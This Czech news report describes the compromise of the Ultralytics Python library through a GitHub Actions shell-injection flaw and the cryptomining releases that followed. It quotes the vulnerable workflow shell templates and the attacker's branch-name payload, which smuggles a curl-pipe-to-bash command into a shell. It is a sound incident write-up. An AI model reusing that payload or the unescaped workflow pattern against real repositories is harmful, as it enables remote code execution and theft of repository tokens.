Útočníci byli schopni provést kód s oprávněním zpracovatele GitHub Actions v repozitáři Pythonové knihovny Ultralytics, která se používá k řešení úloh počítačového vidění, jako je rozpoznávání objektů na obrázcích a segmentace obrázků. Po získání přístupu k repozitáři zaútočili a zveřejnili v katalogu PyPI několik nových verzí Ultralytics, které obsahovaly škodlivé změny pro těžbu kryptoměn. V posledním měsíci byla knihovna Ultralytics stažena z katalogu PyPI více než 6,4 milionukrát.
K kompromitaci repozitáře byla využita zranitelnost v balíčku ultralytics-actions, který slouží k automatickému spuštění zpracovatelů při provádění určitých akcí s repozitářem na GitHubu, pomocí mechanismu GitHub Actions. V projektu ultralytics byl zranitelný zpracovatel vázán na událost pull_request_target a vyvoláván při příchozích nových pull requestech. Konkrétně byl pro formátování kódu v zasílaných pull requestech vyvolán zpracovatel format.yml a vykonával se kód uvedený v sekci „run“ souboru action.yml, ve kterém byly shellové příkazy s substitučními šablonami: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"
Tímto způsobem byly do shellových příkazů bez patřičného escaping vloženy názvy Git větví zmiňované v pull requestech. Zajímavé je, že v srpnu byla v balíčku ultralytics-actions již opravena podobná zranitelnost související s používáním externí hodnoty ve funkci echo: echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"
Aby organizovali provádění svého kódu v kontextu zpracovatele GitHub Actions, útočníci odeslali pull request do repozitáře ultralytics, kde jako název větve uvedli: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
Při přijetí pull requestu se do kódu vložila zadaná útočníky řetězec „$(…)“, který při následném spuštění zpracovatele vedl k vykonání kódu „curl -sSfL raw.githubusercontent.com/…/file.sh | bash“.

Spuštění kódu v kontextu GitHub Actions může být použito k zachycení přístupového tokenu k repozitáři a dalších důvěrných údajů. Jak se útočníkům podařilo vytvořit release, aby získali možnost spouštět svůj kód v GitHub Actions, zatím není jasné. Předpokládá se, že to bylo možné díky změně handleru publish.yml (útočníci odstranili kontrolu účtu, ze kterého je povoleno publikovat releases na PyPI) a využití techniky otravy build cache GitHub Actions k vložení svých údajů do release.
První škodlivý release Ultralytics 8.3.41 byl publikován útočníky v katalogu PyPI 4. prosince v 23:51 (MSK) a odstraněn následující den v 12:15. V 15:47 byl umístěn další release 8.3.42, který byl odstraněn v 16:47. Takže škodlivé verze byly celkově k dispozici ke stažení přibližně 13 hodin (v den se na PyPI zaznamenává asi 250 tisíc stažení knihovny ultralytics). Ve vydáních 8.3.41 a 8.3.42 byl kód, který provádí stahování z externího serveru komponentu XMRig pro těžbu kryptoměny.
Vývojáři projektu problém odstranili a vytvořili opravné releases 8.3.43 a 8.3.44, ale po dvou dnech došlo k dalšímu útoku, při kterém útočníci dnes v 04:41 a 05:27 (MSK) publikovali dva další škodlivé releases — 8.3.45 a 8.3.46, které zahrnují jiný kód pro těžbu. Do doby, než se situace vyjasní, se uživatelům doporučuje počkat s instalací nových verzí a zamknout v závislostech release 8.3.44.
Zdroj: opennet.ru
